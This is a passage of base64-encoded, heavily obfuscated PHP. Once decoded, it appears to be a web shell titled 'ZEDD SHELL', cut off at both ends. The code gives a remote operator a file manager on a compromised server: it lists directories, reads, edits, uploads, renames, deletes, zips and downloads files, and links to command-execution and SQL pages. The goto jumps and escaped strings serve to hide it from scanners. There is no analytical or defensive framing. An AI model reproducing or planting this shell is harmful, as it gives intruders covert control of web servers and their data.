g2Nlx4NjFceDc5XDE1NFx4M2QiIC4gdXJsZW5jb2RlKHVybGVuY29kZShrdW5jaSgkbmFtYUJlcmthcykpKSAuICJceDI2XHg2Mlx4NjVceDcyXDE1M1wxNDFceDczXDc1IiAuIHVybGVuY29kZSh1cmxlbmNvZGUoa3VuY2koJGRlZmF1bHRfZGlyKSkpOyAkZWxhdmVCdG4gPSBpc193cml0ZWFibGUoJGRlZmF1bHRfZGlyIC4gJHBlbWlzYWggLiAkbmFtYUJlcmthcykgPyAnJyA6ICJcNDBcMTQ0XHg2OVwxNjNceDYxXHg2Mlx4NmNcMTQ1XHg2NCI7IHByaW50ICJcNzRcMTQ0XHg2OVx4NzZceDNlXHg0ZVwxNDFcMTU1XHg2MVx4MjBcMTA2XHg2OVwxNTRceDY1XHgzYVw0MFx4M2NceDYxXHgyMFwxNDNcMTU0XDE0MVx4NzNcMTYzXDc1XDQ3XHg3MVx4NjFcMTU0XDE1MVx4NmVceDI3XHgyMFwxNTBcMTYyXDE0NVwxNDZcNzVceDI3XHg2YVx4NjFcMTY2XHg2MVx4NzNceDYzXHg3MlwxNTFcMTYwXDE2NFx4M2FceDY4XDE0MVx4NmNceDYxXHg2ZFx4NjFcMTU2XHgyOFw0Mnskb3h1VXJsfVx4MjJceDI5XDQ3XDc2IiAuIGh0bWxzcGVjaWFsY2hhcnMoJG5hbWFCZXJrYXMpIC4gIlw3NFw1N1wxNDFceDNlXDc0XDE0MlwxNjJcNTdceDNlXDc0XHg2Nlx4NmZcMTYyXDE1NVw0MFwxNTVceDY1XDE2NFx4NjhcMTU3XHg2NFx4M2RcNDdceDUwXHg0Zlx4NTNceDU0XHgyN1w0MFx4NzNceDc0XHg3OVwxNTRceDY1XDc1XHgyN1wxNjBcMTQxXDE0NFx4NjRceDY5XDE1Nlx4NjdcNzJceDIwXDYwXHgzYlx4MjBcMTU1XHg2MVwxNjJceDY3XDE1MVwxNTZceDNhXHgyMFw2MFx4M2JceDI3XDc2XDc0XDE0MlwxNjVcMTY0XHg3NFwxNTdceDZlXHgyMFwxNjRcMTcxXHg3MFwxNDVceDNkXHgyN1wxNjNceDc1XHg2MlwxNTVcMTUxXHg3NFw0N1w0MFwxNDNcMTU0XHg2MVwxNjNcMTYzXHgzZFw0N1wxNDJcMTY0XDE1Nlw0N3skZWxhdmVCdG59XHgzZVx4MjBcMTIzXHg2OVwxNTVceDcwXDE0MVwxNTZcNDBceDNjXDU3XHg2MlwxNjVceDc0XHg3NFwxNTdcMTU2XHgzZVw0MFw3NFx4NjJcMTY1XDE2NFwxNjRcMTU3XHg2ZVx4MjBceDc0XHg3OVwxNjBceDY1XDc1XHgyN1wxNDJceDc1XDE2NFwxNjRceDZmXHg2ZVx4MjdcNDBcMTU3XDE1NlwxNDNcMTU0XHg2OVx4NjNcMTUzXDc1XDQ3XDE1M1wxNTdcMTQ0XDE0NVx4MjhceDI5XHgyN1w3Nlw0MFx4NDVceDZlXDE1M1wxNjJcMTUxXDE2MFwxNjNceDY5XHgyMFw3NFx4MmZceDYyXDE2NVx4NzRcMTY0XHg2Zlx4NmVcNzZceDIweyRzdGF0dXN9XDc0XHgyZlwxNDRceDY5XDE2Nlw3NiI7IHByaW50ICJcNzRceDY5XDE1Nlx4NzBceDc1XDE2NFw0MFx4NzRceDc5XDE2MFx4NjVcNzVceDI3XHg2OFx4NjlceDY0XDE0NFwxNDVceDZlXHgyN1w0MFwxNjZcMTQxXHg2Y1x4NzVceDY1XHgzZFw0N1wxNDVceDY0XDE1MVx4NzRceDVmXHg2NlwxNTFceDZjXHg2NVx4MjdceDIwXDE1Nlx4NjFcMTU1XHg2NVw3NVw0N1wxNDFcMTY3XDE0MVwxNTRceDI3XDc2XDc0XHg2OVwxNTZcMTYwXDE2NVwxNjRceDIwXDE2NFwxNzFceDcwXHg2NVx4M2RcNDdceDY4XHg2OVx4NjRceDY0XHg2NVx4NmVceDI3XHgyMFx4NzZceDYxXDE1NFx4NzVcMTQ1XHgzZFx4MjciIC4ga3VuY2koJG5hbWFCZXJrYXMpIC4gIlw0N1w0MFx4NmVcMTQxXHg2ZFx4NjVceDNkXDQ3XDE0Nlx4NjFcMTcxXHg2Y1w0N1x4M2VceDNjXHg2OVwxNTZcMTYwXHg3NVx4NzRcNDBceDc0XDE3MVwxNjBceDY1XDc1XDQ3XDE1MFx4NjlceDY0XDE0NFwxNDVcMTU2XDQ3XHgyMFwxNjZceDYxXHg2Y1x4NzVcMTQ1XDc1XDQ3IiAuIHVybGVuY29kZShrdW5jaSgkZGVmYXVsdF9kaXIpKSAuICJcNDdceDIwXDE1Nlx4NjFceDZkXDE0NVx4M2RcNDdceDYyXDE0NVwxNjJceDZiXHg2MVwxNjNceDI3XHgzZVw3NFx4NjlcMTU2XDE2MFwxNjVceDc0XDQwXHg3NFx4NzlceDcwXHg2NVw3NVx4MjdceDY4XDE1MVwxNDRcMTQ0XDE0NVx4NmVceDI3XHgyMFwxNjZceDYxXHg2Y1wxNjVcMTQ1XHgzZFw0NyIgLiBhbWJpbEJ1YXQoIlx4NzlcMTYzXHg1ZlwxNjRceDZmXHg2Zlx4NmIiKSAuICJcNDdceDIwXDE1Nlx4NjFceDZkXHg2NVw3NVw0N1wxNjRceDZmXDE1N1wxNTNcNDdcNzZceDNjXHg3NFwxNDVcMTcwXHg3NFx4NjFceDcyXHg2NVwxNDFceDIwXDE1NlwxNDFcMTU1XHg2NVx4M2RceDI3XHg2M1x4NmZcMTU2XHg3NFx4NjVcMTU2XHg3NFw0N1x4MjBceDYzXDE1NFx4NjFceDczXDE2M1x4M2RceDI3XDE0Nlx4NjlceDZjXHg2NVx4NWZcMTQ1XHg2NFwxNTFceDc0XHgyN1w3NiIgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRkZWZhdWx0X2RpciAuICRwZW1pc2FoIC4gJG5hbWFCZXJrYXMpKSAuICJcNzRceDJmXDE2NFx4NjVceDc4XHg3NFwxNDFcMTYyXHg2NVx4NjFcNzZcNzRceDJmXDE0NlwxNTdcMTYyXDE1NVw3NiI7IH0gZWxzZSB7IHByaW50ICJceDQ1XDE2Mlx4NzJcMTU3XHg3Mlw0MVw0MCIgLiBodG1sc3BlY2lhbGNoYXJzKCRkZWZhdWx0X2RpciAuICRwZW1pc2FoIC4gJG5hbWFCZXJrYXMpOyB9IH0gZWxzZSB7IGlmIChpc19kaXIoJGRlZmF1bHRfZGlyKSkgeyBpZiAoaXNfcmVhZGFibGUoJGRlZmF1bHRfZGlyKSkgeyAkZm9sZGVyRGFsYW0gPSBzY2FuZGlyKCRkZWZhdWx0X2Rpcik7IGZvcmVhY2ggKCRmb2xkZXJEYWxhbSBhcyAmJGVtZWxlbW50KSB7ICRwZW1pc2FoID0gc3Vic3RyKCRkZWZhdWx0X2Rpciwgc3RybGVuKCRkZWZhdWx0X2RpcikgLSAxKSAhPSAiXHgyZiIgJiYgc3Vic3RyKCRlbWVsZW1udCwgMCwgMSkgIT0gIlw1NyIgPyAiXHgyZiIgOiAnJzsgaWYgKGlzX2RpcigkZGVmYXVsdF9kaXIgLiAkcGVtaXNhaCAuICRlbWVsZW1udCkpIHsgJGVtZWxlbW50ID0gIlw2MCIgLiAkZW1lbGVtbnQ7IH0gZWxzZSB7ICRlbWVsZW1udCA9ICJcNjEiIC4gJGVtZWxlbW50OyB9IH0gYXNvcnQoJGZvbGRlckRhbGFtKTsgcHJpbnQgIlx4M2NceDc0XDE0MVx4NjJceDZjXDE0NVw0MFx4NjNceDZjXDE0MVwxNjNcMTYzXDc1XDQ3XHg2Nlx4NGRceDYxXDE1NlwxNDFceDY3XHg2NVx4NzJceDI3XDQwXDE2M1x4NzRceDc5XDE1NFx4NjVceDNkXDQ3XHg3N1wxNTFcMTQ0XDE2NFx4NjhceDNhXDQwXDYxXDYwXHgzMFw0NVw3M1w0N1x4M2VcNzRceDc0XHg2OFx4NjVcMTQxXHg2NFw3Nlx4M2NcMTY0XHg3Mlw0MFx4NjNceDZjXDE0MVx4NzNceDczXDc1XHgyN1x4NzFcMTQxXHg2Y1wxNTFcMTU2XHgyN1w3Nlw3NFwxNjRcMTUwXHgzZVx4NzNcNzRceDJmXHg3NFwxNTBcNzZcNzRceDc0XHg2OFx4M2VceDQ2XDE1MVwxNTRceDY1XDc0XHgyZlwxNjRcMTUwXHgzZVw3NFwxNjRceDY4XHgzZVx4NTNceDY5XDE3MlwxNDVcNzRceDJmXHg3NFwxNTBceDNlXDc0XHg3NFwxNTBceDNlXHg1NFx4NjFcMTU2XDE0N1wxNDdcMTQxXHg2Y1x4M2NcNTdcMTY0XDE1MFx4M2VcNzRceDc0XDE1MFw3Nlx4NGZcMTY3XHg2ZVwxNDVceDcyXHgyZlx4NDdceDcyXHg2ZlwxNjVceDcwXDc0XHgyZlwxNjRcMTUwXHgzZVx4M2NcMTY0XDE1MFw3Nlx4NTBcMTQ1XHg3MlwxNTVcMTUxXDE2M1x4NzNcMTUxXHg2ZlwxNTZcMTYzXHgzY1x4MmZcMTY0XHg2OFx4M2VceDNjXDE2NFwxNTBcNzZceDQxXHg2M1wxNjRcMTUxXHg2Zlx4NmVceDczXHgzY1x4MmZceDc0XHg2OFx4M2VceDNjXHgyZlwxNjRcMTYyXDc2XHgzY1x4MmZceDc0XDE1MFx4NjVceDYxXHg2NFw3Nlw3NFwxNjRceDYyXDE1N1x4NjRceDc5XDc2IjsgZm9yZWFjaCAoJGZvbGRlckRhbGFtIGFzICRlbGVtZW50KSB7ICR1cmwgPSAnJzsgJGVsZW1lbnQgPSBzdWJzdHIoJGVsZW1lbnQsIDEpOyAkZmlsZU5hbWFMZW5na2FwID0gJGRlZmF1bHRfZGlyIC4gJHBlbWlzYWggLiAkZWxlbWVudDsgJHBlbWlzYWggPSBzdWJzdHIoJGRlZmF1bHRfZGlyLCBzdHJsZW4oJGRlZmF1bHRfZGlyKSAtIDEpICE9ICJceDJmIiAmJiBzdWJzdHIoJGVsZW1lbnQsIDAsIDEpICE9ICJceDJmIiA/ICJcNTciIDogJyc7ICRhZGkgPSBpc19kaXIoJGZpbGVOYW1hTGVuZ2thcCkgPyAiXHg1Ylx4MjB7JGVsZW1lbnR9XDQwXDEzNSIgOiAkZWxlbWVudDsgJGNsYXNzTiA9ICcnOyBpZiAoaXNfZGlyKCRmaWxlTmFtYUxlbmdrYXApKSB7IGlmICgkZWxlbWVudCA9PSAiXHgyZSIpIHsgJHVybCA9ICJcNzdceDYyXDE0NVx4NzJceDZiXHg2MVwxNjNceDNkIiAuIHVybGVuY29kZSh1cmxlbmNvZGUoa3VuY2koJGRlZmF1bHRfZGlyKSkpOyB9IGVsc2UgeyBpZiAoJGVsZW1lbnQgPT0gIlx4MmVcNTYiKSB7ICR5ZW5pVXJsID0gZXhwbG9kZSgiXDU3IiwgJGRlZmF1bHRfZGlyKTsgZm9yZWFjaCAoYXJyYXlfcmV2ZXJzZSgkeWVuaVVybCkgYXMgJGogPT4gJHFxKSB7IGlmICh0cmltKCRxcSkgIT0gJycpIHsgdW5zZXQoJHllbmlVcmxbY291bnQoJHllbmlVcmwpIC0gJGogLSAxXSk7IGJyZWFrOyB9IH0gJHVybCA9ICJcNzdcMTQyXHg2NVwxNjJceDZiXDE0MVx4NzNceDNkIiAuIHVybGVuY29kZSh1cmxlbmNvZGUoa3VuY2koaW1wbG9kZSgiXDU3IiwgJHllbmlVcmwpKSkpOyB9IGVsc2UgeyAkdXJsID0gIlw3N1x4NjJcMTQ1XHg3Mlx4NmJcMTQxXHg3M1x4M2QiIC4gdXJsZW5jb2RlKHVybGVuY29kZShrdW5jaSgkZmlsZU5hbWFMZW5na2FwKSkpOyB9IH0gJGNsYXNzTiA9ICJcNDBcMTYzXDE2NFx4NzlcMTU0XHg2NVx4M2RceDI3XDE0Nlx4NmZceDZlXHg3NFw1NVwxNjdceDY1XHg2OVx4NjdceDY4XHg3NFx4M2FcNDBceDM2XDYwXHgzMFw3M1w0NyI7IH0gZWxzZSB7ICR1cmwgPSAiXDc3XDE0MVwxNjdcMTQxXDE1NFw3NVx4NjJcMTQxXDE0M1wxNDFcMTM3XHg2Nlx4NjlcMTU0XDE0NVx4MjZceDY2XDE0MVx4NzlceDZjXHgzZCIgLiB1cmxlbmNvZGUodXJsZW5jb2RlKGt1bmNpKCRlbGVtZW50KSkpIC4gIlw0Nlx4NjJcMTQ1XDE2MlwxNTNcMTQxXDE2M1x4M2QiIC4gdXJsZW5jb2RlKHVybGVuY29kZShrdW5jaSgkZGVmYXVsdF9kaXIpKSk7IH0gJGZheWxkaSA9IGlzX2ZpbGUoJGZpbGVOYW1hTGVuZ2thcCk7ICRpc1JlYWRhYmxlQ29sb3IgPSBpc19yZWFkYWJsZSgkZmlsZU5hbWFMZW5na2FwKSAmJiBpc193cml0ZWFibGUoJGZpbGVOYW1hTGVuZ2thcCk7IHByaW50ICJcNzRcMTY0XHg3Mlx4M2VcMTJceDlceDlcMTFceDlcMTFceDlcNzRceDc0XDE0NFx4M2VcNzRcNTdceDc0XDE0NFx4M2VceGFcMTFceDlcMTFceDlcMTFcMTFcNzRcMTY0XHg2NFw3Nlw3NFx4NjFcNDBceDY4XHg3Mlx4NjVceDY2XHgzZFw0Mlx4NmFceDYxXDE2Nlx4NjFceDczXHg2M1wxNjJcMTUxXDE2MFx4NzRcNzJcMTUwXDE0MVx4NmNceDYxXHg2ZFwxNDFcMTU2XDUwXDQ3IiAuICR1cmwgLiAiXDQ3XHgyOVx4MjIiIC4gJGNsYXNzTiAuICJcNzYiIC4gaHRtbHNwZWNpYWxjaGFycygkYWRpKSAuICJcNzRceDJmXHg2MVw3Nlx4M2NcNTdcMTY0XHg2NFx4M2VceGFcMTFcMTFceDlceDlceDlcMTFceDNjXHg3NFwxNDRceDNlIiAuICgkZmF5bGRpID8gc2l6ZUZvcm1hdChmaWxlc2l6ZSgkZmlsZU5hbWFMZW5na2FwKSkgOiAnJykgLiAiXHgzY1x4MmZceDc0XHg2NFw3Nlx4YVx4OVwxMVx4OVx4OVx4OVwxMVx4M2NceDc0XHg2NFx4M2UiIC4gZGF0ZSgiXDE0NFx4MjBcMTE1XHgyMFx4NTlcNTRcNDBcMTEwXDcyXDE1MSIsIGZpbGVjdGltZSgkZmlsZU5hbWFMZW5na2FwKSkgLiAiXDc0XDU3XHg3NFwxNDRceDNlXHhhXHg5XHg5XHg5XDExXHg5XDExXDc0XDE2NFx4NjRceDNlIiAuIGh0bWxzcGVjaWFsY2hhcnMoZmlsZW93bmVyKCRmaWxlTmFtYUxlbmdrYXApKSAuICJcNzRceDJmXHg3NFx4NjRceDNlXDEyXHg5XDExXHg5XHg5XDExXDExXDc0XHg3NFwxNDQiIC4gKCRpc1JlYWRhYmxlQ29sb3IgPyAiXHgyMFwxNjNcMTY0XDE3MVwxNTRcMTQ1XHgzZFw0MlwxNDNceDZmXHg2Y1x4NmZceDcyXDcyXHgyMFx4NjdcMTYyXDE0NVx4NjVceDZlXHgzYlw0MiIgOiAnJykgLiAiXDc2IiAuIHN1YnN0cihzcHJpbnRmKCJceDI1XHg2ZiIsIGZpbGVwZXJtcygkZmlsZU5hbWFMZW5na2FwKSksIC00KSAuICJceDNjXHgyZlx4NzRcMTQ0XDc2XDEyXHg5XHg5XHg5XDExXDExXDExXDc0XDE2NFx4NjRceDNlIjsgaWYgKGlzX2ZpbGUoJGZpbGVOYW1hTGVuZ2thcCkpIHsgcHJpbnQgIlw0MFx4M2NcMTQxXHgyMFwxNTBcMTYyXHg2NVx4NjZcNzVcNDJceDZhXHg2MVx4NzZceDYxXDE2M1wxNDNcMTYyXDE1MVx4NzBceDc0XDcyXHg2OFx4NjFceDZjXDE0MVx4NmRceDYxXHg2ZVx4MjhceDI3IiAuIHN0cl9yZXBsYWNlKCJceDYyXDE0MVx4NjNceDYxXHg1Zlx4NjZceDY5XDE1NFx4NjUiLCAiXDE0NFwxNTdceDc3XDE1NlwxNTRcMTU3XHg2MVx4NjRceDVmXDE0NlwxNTFceDZjXHg2NSIsICR1cmwpIC4gIlx4MjdceDI5XDQyIiAuICRjbGFzc04gLiAiXHgzZVx4NDRceDZmXDE2N1x4NmVcMTU0XDE1N1wxNDFcMTQ0XDc0XHgyZlx4NjFceDNlXDQwXHg3Y1x4MjAiIC4gKCJcNDBcNzRcMTQxXDQwXDE1MFx4NzJcMTQ1XDE0Nlx4M2RceDIyXDE1Mlx4NjFceDc2XDE0MVwxNjNcMTQzXHg3Mlx4NjlceDcwXHg3NFw3MlwxNDNcMTUwXHg2MVx4NmVcMTQ3XDE0NVwxMDZceDY5XDE1NFwxNDVceDRlXHg2MVx4NmRceDY1XHgyOFw0NyIgLiBodG1sc3BlY2lhbGNoYXJzKCRhZGkpIC4gIlx4MjdceDIwXDU0XHgyMFx4MjciIC4gc3RyX3JlcGxhY2UoIlwxNDJceDYxXDE0M1x4NjFcMTM3XHg2Nlx4NjlcMTU0XHg2NSIsICJceDcyXDE0NVx4NmVceDYxXDE1NVwxNDVcMTM3XDE0NlwxNTFcMTU0XHg2NSIsICR1cmwpIC4gIlx4MjdceDI5XHgzYlw0MiIgLiAkY2xhc3NOIC4gIlw3Nlx4NTJcMTQ1XHg2ZVwxNDFcMTU1XHg2NVx4M2NceDJmXDE0MVw3Nlw0MFwxNzRcNDAiKSAuICgiXHgyMFw3NFwxNDFcNDBcMTUwXDE2Mlx4NjVceDY2XDc1XHgyMlwxNTJceDYxXHg3NlwxNDFceDczXDE0M1wxNjJceDY5XHg3MFx4NzRceDNhXHg2NlwxNDFcMTcxXHg2Y1x4NTNceDY5XHg2NlwxNTFcMTYyXHg2Y1wxNDFcNTBceDI3IiAuIHN0cl9yZXBsYWNlKCJceDYyXDE0MVx4NjNceDYxXHg1ZlwxNDZcMTUxXHg2Y1x4NjUiLCAiXHg3Mlx4NjVcMTYzXHg2NVwxNjRceDVmXHg2NlwxNTFceDZjXDE0NSIsICR1cmwpIC4gIlx4MjdcNTFcNzNcNDIiIC4gJGNsYXNzTiAuICJceDNlXDExM1x4NmZcMTYzXDE1N1wxNTZcMTQ3XDc0XHgyZlx4NjFceDNlXDQwXHg3Y1x4MjAiKSAuICgiXDQwXHgzY1x4NjFcNDBcMTUwXHg3Mlx4NjVceDY2XDc1XHgyMlwxNTJcMTQxXDE2Nlx4NjFcMTYzXDE0M1wxNjJceDY5XHg3MFx4NzRceDNhXDE0NlwxNDFcMTcxXHg2Y1x4NTNcMTUxXDE1NFw1MFx4MjciIC4gc3RyX3JlcGxhY2UoIlx4NjJcMTQxXHg2M1wxNDFcMTM3XDE0NlwxNTFceDZjXDE0NSIsICJcMTUwXDE0MVwxNjBcMTY1XHg3M1wxMzdceDY2XHg2OVx4NmNceDY1IiwgJHVybCkgLiAiXDQ3XDUxXHgyMiIgLiAkY2xhc3NOIC4gIlw3NlwxMDRcMTQ1XDE1NFx4NjVcMTY0XHg2NVw3NFx4MmZcMTQxXDc2Iik7IH0gZWxzZSB7IGlmICgkYWRpICE9ICJcMTMzXHgyMFw1Nlx4MjBcMTM1IiAmJiAkYWRpICE9ICJcMTMzXHgyMFw1Nlx4MmVceDIwXDEzNSIpIHsgcHJpbnQgIlw0MFx4M2NcMTQxXDQwXHg2OFx4NzJceDY1XDE0Nlw3NVw0Mlx4NmFcMTQxXDE2Nlx4NjFcMTYzXHg2M1x4NzJceDY5XDE2MFwxNjRceDNhXHg2Ylx4NmZcMTU1XDE2MFwxNjJceDY1XHg3M1x4MjhcNDciIC4gdXJsZW5jb2RlKHVybGVuY29kZShrdW5jaSgkZmlsZU5hbWFMZW5na2FwKSkpIC4gIlx4MjdcNTFceDIyIiAuICRjbGFzc04gLiAiXHgzZVx4NWFcMTUxXHg3MFw3NFw1N1x4NjFcNzZceDIwXDE3NFw0MCIgLiAoIlw0MFx4M2NcMTQxXDQwXDE1MFwxNjJcMTQ1XDE0Nlw3NVx4MjJcMTUyXDE0MVx4NzZcMTQxXDE2M1x4NjNcMTYyXHg2OVwxNjBcMTY0XHgzYVwxNjNcMTUxXDE1NFwxMjBceDYxXHg3MFx4NmJcMTQxXHgyOFw0NyIgLiB1cmxlbmNvZGUodXJsZW5jb2RlKGt1bmNpKCRmaWxlTmFtYUxlbmdrYXApKSkgLiAiXHgyN1x4MjlcNDIiIC4gJGNsYXNzTiAuICJceDNlXDExMFwxNDFceDcwXDE2NVwxNjNceDNjXDU3XHg2MVw3NiIpOyB9IH0gcHJpbnQgIlw3NFw1N1x4NzRceDY0XHgzZVwxMlx4OVwxMVx4OVwxMVx4OVw3NFx4MmZceDc0XHg3Mlw3NiI7IH0gfSBlbHNlIHsgcHJpbnQgIlx4M2NcMTQ0XDE1MVx4NzZceDIwXDE2M1x4NzRcMTcxXDE1NFx4NjVceDNkXHgyN1x4NmRcMTQxXHg3Mlx4NjdceDY5XHg2ZVx4M2FceDIwXHgzMVx4MzBcMTYwXHg3OFw0MFx4MzBceDcwXHg3OFx4M2JceDI3XHgyMFwxNDNceDZjXHg2MVwxNjNcMTYzXHgzZFw0N1wxNjFcMTQxXHg2Y1wxNTFcMTU2XDQ3XDc2XDEyMFx4NjVcMTYyXDE1NVx4NjlcMTYzXHg3M1x4NjlcMTU3XHg2ZVx4NzNcNDBceDY0XHg2NVwxNTZcMTUxXHg2NFwxNDVceDY0XDQxXHgzY1w1N1x4NjRcMTUxXDE2Nlw3NiI7IH0gfSB9IH0gfSB9IH0gZ290byBubGx5RjsgYVk0Rlo6ID8+CicpIj5Db21tYW5kPC9hPjxicj4KPGEgaHJlZj0iamF2YXNjcmlwdDpoYWxhbWFuKCc/YXdhbD1za2wnKTsiPlNRTDwvYT48YnI+Cgo8Zm9ybSBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYXdhbCIgdmFsdWU9InVwbF9maWxlIj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImJlcmthcyIgdmFsdWU9Ijw/cGhwICBnb3RvIGl1THZhOyB4S1c3XzogZnVuY3Rpb24gdHVsaXNMYWgoKSB7IGdsb2JhbCAkZGVmYXVsdF9kaXI7ICRzb25EaXIgPSBhcnJheSgpOyAkdW11bUJhZ2lrYW4gPSAnJzsgJHBhcnNlID0gZXhwbG9kZSgiXDU3IiwgJGRlZmF1bHRfZGlyKTsgJGlpID0gMDsgZm9yZWFjaCAoJHBhcnNlIGFzICRiYWdpa2FuKSB7ICRpaSsrOyAkdW11bUJhZ2lrYW4gLj0gJGJhZ2lrYW4gLiAiXHgyZiI7ICRzb25EaXJbXSA9ICJcNzRcMTQxXDQwXDE1MFwxNjJceDY1XDE0Nlw3NVx4MjdcMTUyXHg2MVx4NzZcMTQxXHg3M1wxNDNcMTYyXDE1MVx4NzBceDc0XHgzYVwxNTBceDYxXDE1NFwxNDFceDZkXDE0MVwxNTZcNTBcNDJcNzdceDYyXHg2NVwxNjJceDZiXDE0MVwxNjNcNzUiIC4gdXJsZW5jb2RlKHVybGVuY29kZShrdW5jaSgkdW11bUJhZ2lrYW4pKSkgLiAiXDQyXHgyOVx4MjdcNzYiIC4gaHRtbHNwZWNpYWxjaGFycyhlbXB0eSgkYmFnaWthbikgJiYgJGlpICE9IGNvdW50KCRwYXJzZSkgPyAiXHgyZiIgOiAkYmFnaWthbikgLiAiXDc0XHgyZlx4NjFceDNlIjsgfSAkc29uRGlyID0gaW1wbG9kZSgiXDU3IiwgJHNvbkRpcik7IHByaW50ICRzb25EaXIgLiAiXHgyNlx4NmVcMTQyXDE2M1x4NzBceDNiXDQ2XHg2ZVx4NjJcMTYzXDE2MFw3M1x4MjZceDZlXHg2Mlx4NzNcMTYwXHgzYlw0NlwxNTZceDYyXDE2M1wxNjBcNzNceDI2XDE1Nlx4NjJceDczXDE2MFx4M2JcNDZceDZlXDE0MlwxNjNcMTYwXDczXHgyOFw0MFw3NFwxNDFceDIwXDE1MFwxNjJcMTQ1XHg2Nlw3NVw0Mlx4MjJcNzZceDUyXHg2NVwxNjNceDY1XDE2NFw3NFx4MmZceDYxXDc2XDQwXHg3Y1w0MFw3NFwxNDFceDIwXHg2OFx4NzJcMTQ1XDE0Nlw3NVx4MjJcMTUyXHg2MVx4NzZcMTQxXDE2M1wxNDNcMTYyXHg2OVx4NzBceDc0XDcyXHg2N1x4NmZcMTY0XHg2Zlx4MjhceDI5XHgyMlw3NlwxMDdcMTU3XDQwXDE2NFwxNTdcNzRcNTdceDYxXDc2XDQwXHgyOSI7IH0gZ290byBkR2ltczsgVUZMa246ICRkZWZhdWx0X2RpciA9IHN0cl9yZXBsYWNlKCJceDVjIiwgIlx4MmYiLCAkZGVmYXVsdF9kaXIpOyBnb3RvIHNvbHZTOyBwZERoTDogPz4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+WkVERCBTSEVMTDwvdGl0bGU+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4KPHN0eWxlPgpib2R5CnsKCWJhY2tncm91bmQtY29sb3I6ICMyMjIyMjI7Cgljb2xvcjogI0Q2RDRENDsKCWZvbnQtZmFtaWx5OiBMdWNpZGEsVmVyZGFuYTsKCWZvbnQtc2l6ZTogMTJweDsKfQoucWFsaW4KewoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwoJY29sb3I6ICNENjkwNUU7Cglmb250LXdlaWdodDogNjAwOwp9Ci5zdWNjZXNzCnsKCWNvbG9yOiAjOURCNzU0Owp9Ci5iYWQKewoJY29sb3I6ICNCNzU2NTQ7Cn0KYQp7Cgljb2xvcjogI0FDQjc1NDsKCXRleHQtZGVjb3JhdGlvbjogbm9uZSAhaW1wb3J0YW50Owp9Ci5mTWFuYWdlciwuZk1hbmFnZXIgdGJvZHksLmZNYW5hZ2VyIHRyCnsKCXBhZGRpbmc6IDA7Cglib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOwoJbWFyZ2luOiAwOwoJZm9udC1zaXplOiAxMnB4Owp9Ci5mTWFuYWdlcgp7CgltYXJnaW46IDEwcHggMDsKfQouZk1hbmFnZXIgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKzEpCnsKCWJhY2tncm91bmQ6ICMzMzE3MTc7Cn0KLmZNYW5hZ2VyIHRib2R5IHRyOm50aC1jaGlsZCgybikKewoJYmFja2dyb3VuZDogIzFDMEMwQzsKfQouZk1hbmFnZXIgdGJvZHkgdHI6aG92ZXIKewoJYmFja2dyb3VuZDogIzAwMDAwMDsKfQouZk1hbmFnZXIgdGhlYWQgdGgKewoJdGV4dC1hbGlnbjogbGVmdDsKfQouZk1hbmFnZXIgdGhlYWQgdHIKewoJYmFja2dyb3VuZC1jb2xvcjogIzMzMzMzMzsKfQouZk1hbmFnZXIKewoJYm94LXNoYWRvdzogMXB4IDFweCAxcHggMXB4ICMzMzMzMzM7Cn0KLmZNYW5hZ2VyIHRoZWFkIHRoCnsKCXBhZGRpbmc6IDRweCAzcHg7Cn0KLmJhY2FfZmlsZQp7CgltYXJnaW46IDVweCAwOwoJcGFkZGluZzogMnB4OwoJYm94LXNoYWRvdzogMXB4IDFweCAxcHggMXB4ICMzMzMzMzM7CgliYWNrZ3JvdW5kLWNvbG9yOiAjRTFFMUUxOwoJd2lkdGg6IDEwMCU7CgloZWlnaHQ6IDQwMHB4OwoJb3ZlcmZsb3c6IGF1dG87Cn0KLmJ0bgp7Cglib3JkZXI6IDFweCBzb2xpZCAjQUNBRTQwOwoJYmFja2dyb3VuZC1jb2xvcjogIzIyM0IzQjsKCWNvbG9yOiAjRTFFMUUxOwoJcGFkZGluZzogMXB4IDEwcHg7CgljdXJzb3I6IHBvaW50ZXI7Cn0KLmJ0bjpkaXNhYmxlZAp7Cglib3JkZXI6IDFweCBzb2xpZCAjODQ4NDg0OwoJY29sb3I6ICM4NDg0ODQ7CgljdXJzb3I6IG5vdC1hbGxvd2VkOwp9Ci5maWxlX2VkaXQKewoJbWFyZ2luOiA1cHggMDsKCXBhZGRpbmc6IDJweDsKCWJveC1zaGFkb3c6IDFweCAxcHggMXB4IDFweCAjMzMzMzMzOwoJYmFja2dyb3VuZC1jb2xvcjogI0UxRTFFMTsKCXdpZHRoOiAxMDAlOwoJaGVpZ2h0OiA0MDBweDsKCW92ZXJmbG93OiBhdXRvOwp9CmlucHV0LCBzZWxlY3QsIHRleHRhcmVhCnsKCWJhY2tncm91bmQ6IHRyYW5zcGFyZW50ICFpbXBvcnRhbnQ7Cgljb2xvcjogI2Y2YTU2ZDsKCWJvcmRlcjogMXB4IHNvbGlkICNENjkwNUU7CglwYWRkaW5nOiA1cHg7Cn0KdGFibGUgdGQKewoJYm9yZGVyOiAxcHggc29saWQgcmdiYSgyMTQsIDE0NCwgOTQsIDAuNyk7CgltaW4td2lkdGg6IDIwcHg7CglwYWRkaW5nLWxlZnQ6IDVweDsKCXBhZGRpbmctcmlnaHQ6IDVweDsKCW1heC13aWR0aDogNTAwcHg7Cgljb2xvcjogI2ZmYWQ2ZjsKCWJhY2tncm91bmQ6ICMyOTI5Mjk7Cn0KdGFibGUgdGgKewoJYm9yZGVyOiAxcHggc29saWQgI0Q2OTA1RTsKCXBhZGRpbmctbGVmdDogNXB4OwoJcGFkZGluZy1yaWdodDogNXB4OwoJY29sb3I6ICNmZmFkNmY7Cn0KdGFibGUgdGQgZGl2CnsKCW92ZXJmbG93OiBhdXRvOwoJd2lkdGg6IDEwMCU7CgloZWlnaHQ6IDEwMCU7CgltYXgtaGVpZ2h0OiAxMDBweDsKfQo8L3N0eWxlPgo8L2hlYWQ+C